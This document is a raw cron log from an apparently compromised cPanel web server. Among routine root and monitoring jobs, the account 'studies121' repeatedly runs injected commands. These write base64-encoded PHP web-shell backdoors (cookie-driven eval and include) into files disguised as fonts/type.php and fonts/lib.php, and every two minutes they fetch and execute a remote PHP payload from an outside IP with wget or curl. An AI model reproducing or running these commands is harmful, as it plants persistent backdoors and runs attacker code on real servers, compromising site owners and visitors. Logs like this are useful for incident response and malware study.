Sep  2 17:16:01 ip-184-168-122-23 CROND[18483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:16:01 ip-184-168-122-23 CROND[18484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:17:01 ip-184-168-122-23 CROND[18606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:17:01 ip-184-168-122-23 CROND[18608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:17:01 ip-184-168-122-23 CROND[18607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:17:01 ip-184-168-122-23 CROND[18609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:18:01 ip-184-168-122-23 CROND[18693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:18:01 ip-184-168-122-23 CROND[18697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:18:01 ip-184-168-122-23 CROND[18695]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:18:01 ip-184-168-122-23 CROND[18696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:18:01 ip-184-168-122-23 CROND[18698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:19:02 ip-184-168-122-23 CROND[18869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:19:02 ip-184-168-122-23 CROND[18871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:19:02 ip-184-168-122-23 CROND[18870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:19:02 ip-184-168-122-23 CROND[18872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:20:01 ip-184-168-122-23 CROND[18965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:20:02 ip-184-168-122-23 CROND[18967]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 17:20:02 ip-184-168-122-23 CROND[18969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:20:02 ip-184-168-122-23 CROND[18971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:20:02 ip-184-168-122-23 CROND[18972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:20:02 ip-184-168-122-23 CROND[18975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:20:02 ip-184-168-122-23 CROND[18974]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 17:20:02 ip-184-168-122-23 CROND[18970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:20:02 ip-184-168-122-23 CROND[18968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:21:01 ip-184-168-122-23 CROND[19074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:21:01 ip-184-168-122-23 CROND[19075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:21:01 ip-184-168-122-23 CROND[19076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:21:01 ip-184-168-122-23 CROND[19078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:22:01 ip-184-168-122-23 CROND[19180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:22:01 ip-184-168-122-23 CROND[19182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:22:01 ip-184-168-122-23 CROND[19184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:22:01 ip-184-168-122-23 CROND[19183]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:22:01 ip-184-168-122-23 CROND[19185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:23:01 ip-184-168-122-23 CROND[19288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:23:01 ip-184-168-122-23 CROND[19289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:23:01 ip-184-168-122-23 CROND[19291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:23:01 ip-184-168-122-23 CROND[19293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:24:01 ip-184-168-122-23 CROND[19382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:24:01 ip-184-168-122-23 CROND[19384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:24:01 ip-184-168-122-23 CROND[19386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:24:01 ip-184-168-122-23 CROND[19385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:24:01 ip-184-168-122-23 CROND[19387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:25:01 ip-184-168-122-23 CROND[19557]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:25:01 ip-184-168-122-23 CROND[19561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:25:01 ip-184-168-122-23 CROND[19562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:25:01 ip-184-168-122-23 CROND[19560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:25:01 ip-184-168-122-23 CROND[19558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:25:01 ip-184-168-122-23 CROND[19559]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:26:01 ip-184-168-122-23 CROND[19650]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:26:01 ip-184-168-122-23 CROND[19652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:26:01 ip-184-168-122-23 CROND[19653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:26:01 ip-184-168-122-23 CROND[19654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:26:01 ip-184-168-122-23 CROND[19655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:27:01 ip-184-168-122-23 CROND[19747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:27:01 ip-184-168-122-23 CROND[19748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:27:01 ip-184-168-122-23 CROND[19750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:27:01 ip-184-168-122-23 CROND[19749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:28:01 ip-184-168-122-23 CROND[19849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:28:01 ip-184-168-122-23 CROND[19851]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:28:01 ip-184-168-122-23 CROND[19852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:28:01 ip-184-168-122-23 CROND[19853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:28:01 ip-184-168-122-23 CROND[19854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
